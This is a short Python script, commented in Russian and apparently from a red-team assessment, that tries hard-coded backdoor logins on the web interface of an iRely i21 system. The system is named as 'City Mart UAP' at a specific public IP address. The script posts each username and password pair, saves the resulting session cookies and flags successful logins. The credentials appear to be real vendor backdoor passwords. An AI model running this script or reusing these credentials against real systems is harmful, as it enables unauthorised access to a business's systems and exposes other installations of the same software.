#!/usr/bin/env python3
"""
Тестирование бэкдор кредов на веб-интерфейсе i21
"""
import requests
import json
from pathlib import Path

ANALYSIS_DIR = Path('/root/ir-assessment/redteam/irelydata/analysis')

# Загружаем список бэкдор кредов
with open(ANALYSIS_DIR / 'backdoor_report.txt', 'r') as f:
    content = f.read()

# Цели для тестирования
targets = [
    {'ip': '74.208.53.28', 'path': '/CITYMARTUAP', 'name': 'City Mart UAP'},
]

# Бэкдор креды
backdoor_creds = [
    {'username': 'irelyadmin', 'password': 'i21By2015'},
    {'username': 'aussup', 'password': 'i21By2015'},
    {'username': 'AUSSUP', 'password': 'i21By2015'},
    {'username': 'IRELYADMIN', 'password': 'i21By2015'},
]

results = []

print("=== ТЕСТИРОВАНИЕ БЭКДОР КРЕДОВ ===\n")

for target in targets:
    base_url = f"http://{target['ip']}{target['path']}"
    print(f"Цель: {target['name']} ({base_url})")
    
    # Проверяем доступность
    try:
        resp = requests.get(f"{base_url}/login", timeout=10, verify=False)
        print(f"  ✓ Login page: {resp.status_code}")
    except Exception as e:
        print(f"  ✗ Login page недоступна: {e}")
        continue
    
    # Тестируем креды
    for cred in backdoor_creds:
        print(f"  Тест: {cred['username']}")
        
        # Попытка логина (предполагаем форму с username/password)
        try:
            login_data = {
                'username': cred['username'],
                'password': cred['password']
            }
            
            resp = requests.post(
                f"{base_url}/login",
                data=login_data,
                timeout=10,
                verify=False,
                allow_redirects=False
            )
            
            result = {
                'target': target['name'],
                'ip': target['ip'],
                'username': cred['username'],
                'password': cred['password'],
                'status_code': resp.status_code,
                'redirect': resp.headers.get('Location', None),
                'cookies': dict(resp.cookies),
                'success': resp.status_code in [302, 303] and 'login' not in resp.headers.get('Location', '').lower()
            }
            
            if result['success']:
                print(f"    ✓ УСПЕХ: {resp.status_code} -> {result['redirect']}")
            else:
                print(f"    ✗ {resp.status_code}: {result['redirect']}")
            
            results.append(result)
            
        except Exception as e:
            print(f"    ✗ Ошибка: {e}")
            results.append({
                'target': target['name'],
                'ip': target['ip'],
                'username': cred['username'],
                'error': str(e)
            })

# Сохраняем результаты
with open(ANALYSIS_DIR / 'web_test_results.json', 'w') as f:
    json.dump(results, f, indent=2)

print(f"\nРезультаты сохранены в web_test_results.json")
print(f"Успешных логинов: {sum(1 for r in results if r.get('success'))}")